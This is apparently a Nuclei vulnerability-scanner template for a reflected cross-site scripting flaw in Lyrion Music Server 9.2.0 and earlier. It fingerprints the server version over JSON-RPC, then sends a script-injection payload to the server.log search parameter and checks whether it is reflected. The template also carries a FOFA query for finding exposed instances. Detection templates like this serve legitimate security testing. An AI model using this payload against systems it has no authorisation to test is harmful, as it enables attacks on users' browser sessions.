id: CVE-2026-50230

info:
  name: Lyrion Music Server <= 9.2.0 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Lyrion Music Server 9.2.0 contains a reflected XSS caused by improper sanitization of the search parameter in the server.log endpoint, letting unauthenticated attackers execute arbitrary script in users' browsers.
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing session data or performing actions on behalf of users.
  remediation: |
    Update to the latest version that patches this vulnerability.
  reference:
    - https://www.zeroscience.mk/#/advisories/ZSL-2026-5988
    - https://nvd.nist.gov/vuln/detail/CVE-2026-50230
    - https://www.lyrion.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-50230
    epss-score: 0.00324
    epss-percentile: 0.23964
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="Lyrion Music Server"
  tags: cve,cve2026,lyrion,lms,xss,reflected,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /jsonrpc.js HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":1,"method":"slim.request","params":[0,["version","?"]]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "_version")'
          - 'compare_versions(lmsversion, "<= 9.2.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lmsversion
        part: body
        regex:
          - '"_version"\s*:\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)'
        group: 1
        internal: true

  - raw:
      - |
        GET /server.log?search=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bc27c9e31b7bc51ad8cacb6b6b69569cec45a1c610d04688d384496e5435f215022075748789d2ee93f5b4c9d71788f0b7b312ad00faed35511e789f3557b6815a25:922c64590222798bb761d5b6d8e72950